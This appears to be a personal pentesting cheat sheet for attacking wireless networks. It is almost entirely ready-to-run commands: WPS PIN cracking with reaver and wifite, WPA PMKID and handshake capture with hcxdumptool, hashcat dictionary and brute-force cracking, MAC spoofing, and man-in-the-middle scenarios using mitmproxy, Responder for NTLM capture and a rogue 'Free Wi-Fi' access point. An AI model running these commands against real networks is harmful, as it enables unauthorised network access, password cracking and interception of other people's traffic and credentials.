Target.Network.Wireless.txt

`` Important notes

    - Remove `firmware-realtek` and use dkms
    - Use `pentesting-bootsrap/bootstrap.rtl88**au.sh` scripts to install kernel modules

`` Defaults

    -- AP: 00:00:00:00:00:00
    -- Client: 00:00:00:00:00:01
    -- Wireless interface: wlan0

`` Setting up

    ~# airmon-ng check kill
    ~# rfkill unblock all
    ~# ip link set $WLAN down
    ~# export WLAN=wlan0
    ~# export WLAN_TARGET_MAC=000000000000
        
`` Attacks

    `` wifite2

        - Tested with wifite2 2.7.0

        `` Generic

            ~# wifite -i $WLAN -mac --showb

        `` PMKID

            ~# wifite -i $WLAN -mac --showb --pmkid

        `` WEP

            ~# wifite -i $WLAN -mac --showb --wep --keep-ivs

        `` WPS
        
            ~# wifite -i $WLAN -mac --showb --wps --wps-only

    `` wash / reaver (WPS)

        -- Identifying target
        ~# wash -i $WLAN

        -- Cracking
        ~# reaver -i $WLAN -b $WLAN_TARGET_MAC -c 11 -vv -K
        
        -- Retrieve passphrase using PIN
        ~# reaver -i $WLAN -b $WLAN_TARGET_MAC -s y -vv -p 00000000

    `` hcxdumptool (WPA)

        - Tested with hcxdumptool 6.3.1
        - Compile hcxdumptool from sources!

        `` Setting up
        
            ~# export WLAN_MAC=`iw $WLAN info | grep addr | cut -d' ' -f2 -z`
            ~# hcxdumptool -m $WLAN

        `` Discovery

            -- 2.4Ghz and 5Ghz
            ~# hcxdumptool -i $WLAN -F --rcascan=p

        `` Selecting target

            ~# export WLAN_TARGET_FREQ=5640
            ~# export WLAN_TARGET_CH=7

        `` Creating filters

            `` Protect

                ~# tcpdump -i $WLAN not wlan addr2 $WLAN_MAC -ddd > protect.bpf

            `` Attack

                ~# tcpdump -i $WLAN wlan addr1 $WLAN_TARGET_MAC or wlan addr2 $WLAN_TARGET_MAC or wlan addr3 $WLAN_TARGET_MAC or wlan addr3 ff:ff:ff:ff:ff:ff -ddd > attack.bpf

        `` Execution

            ~# hcxdumptool -i $WLAN -c $WLAN_TARGET_CH -f $WLAN_TARGET_FREQ --bpf=attack.bpf -w output.pcapng
            ~$ hcxpcapngtool -o output.hc22000 output.pcapng
            ~$ hashcat -m 22000 output.hc22000 VAR_WORDLIST

`` Helpers

    `` Random MAC address but matching device type

        ~# macchanger -a $WLAN

    `` Setting monitor mode

        ~# iw dev $WLAN set type monitor

    `` Verify settings

        ~# iw $WLAN info

    `` Test injection

        ~# aireplay-ng -9 $WLAN

    `` Discovery (changes channel)

        -- 2.4Ghz
        ~# airodump-ng $WLAN

        -- 5Ghz
        ~# airodump-ng $WLAN --band a

    `` Back to managed mode

        ~# iw dev $WLAN set type managed

    `` Restarting services

        ~# systemctl start wpa_supplicant.service
        ~# systemctl start NetworkManager.service

    `` Boosting tx power

        ~# iw $WLAN set txpower fixed 3000

    `` Setting channel
    
        ~# iw dev $WLAN set channel 11

    `` Setting custom MAC address
    
        ~# macchanger -m 00:00:00:00:00:01 $WLAN

    `` Check manufacturer based on MAC

        ~$ ~/lib/pentesting-cookbook/bin/mac_oui.sh $WLAN_TARGET_MAC

    `` Convert pcap to Hashcat's hccapx format

        ~$ hcxpcapngtool -o out.hccapx out.pcap

        -- Write strings to `wordlist` in case the traffic contained clear-text passwords
        ~$ hcxpcapngtool -o out.hccapx -E wordlist out.pcap

        -- Verify output
        ~$ wlanhcxinfo -i out.hccapx

    `` Device model using Wireshark
    
        - Filter: (wps.device_name != "" || wps.model_name != "" || wps.model_number != "")
        - In Tag: Vendor [...] WPS
            - Manufacturer: TP-Link
            - Model Name: TL-WR841N
            - Device Name: Wireless N Router TL-WR841N

    `` Cracking

        -- Dictionary attack
        ~$ hashcat -m 22000 wpa.hc22000 VAR_WORDLIST

        -- Dictionary attack with combinations (hashcat rules)
        ~$ hashcat -m 22000 -r /usr/share/hashcat/rules/best64.rule wpa.hc22000 VAR_WORDLIST

        -- Bruteforce attack
        ~$ hashcat -m 22000 wpa.hc22000 -a 3 -O -w 3 -1 ?l?d ?1?1?1?1?1?1?1?1?1?1?1?1?1

`` Scenarios

    `` Routing, injection and NTLM

        ~# route del default
        ~# route add default gw $_IP $WLAN
        ~# iptables -A INPUT -j LOG
        ~# echo 1 > /proc/sys/net/ipv4/ip_forward
        ~# iptables -F
        ~# iptables -t nat -F
        ~# iptables -t nat -A PREROUTING -i $WLAN -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 8080
        ~# iptables -t nat -A POSTROUTING -o $WLAN -j MASQUERADE
        ~# mitmproxy --mode transparent -s $_FILE.py --listen-host $_IP
        ~# responder -I $WLAN -wF

    `` CLI configuration

        ~$ vim wireless.config
            ctrl_interface=/var/run/wpa_supplicant
            ctrl_interface_group=0
            update_config=1
            network={
                ssid="VAR_STRING"
                psk="VAR_STRING"
            }
        ~# wpa_supplicant -D wext -i $WLAN -c wireless.config
        ~# dhclient $WLAN

    `` IPv6 AP

        ~# cat > /etc/radvd.conf << EOF
        interface br-wlan-ipv6 {
            AdvSendAdvert on;
            MinRtrAdvInterval 3;
            MaxRtrAdvInterval 10;
            prefix fd13:37::/32 {
                AdvOnLink on;
                AdvAutonomous on;
                AdvRouterAddr on;
            };
        };
        EOF
        ~$ cat > hostapd.conf << EOF
        interface=$WLAN
        bridge=br-wlan-ipv6
        hw_mode=g
        channel=10
        wmm_enabled=1
        ssid=Free Wi-Fi
        auth_algs=1
        wpa=2
        wpa_key_mgmt=WPA-PSK
        rsn_pairwise=CCMP
        wpa_passphrase=somepassword
        EOF
        ~# ip link set $WLAN down
        ~# macchanger -A $WLAN
        ~# ip link set $WLAN up
        ~# ip link add name br-wlan-ipv6 type bridge
        ~# ip address add fd13:37::1 dev br-wlan-ipv6
        ~# ip link set br-wlan-ipv6 up
        ~# hostapd ./hostapd.conf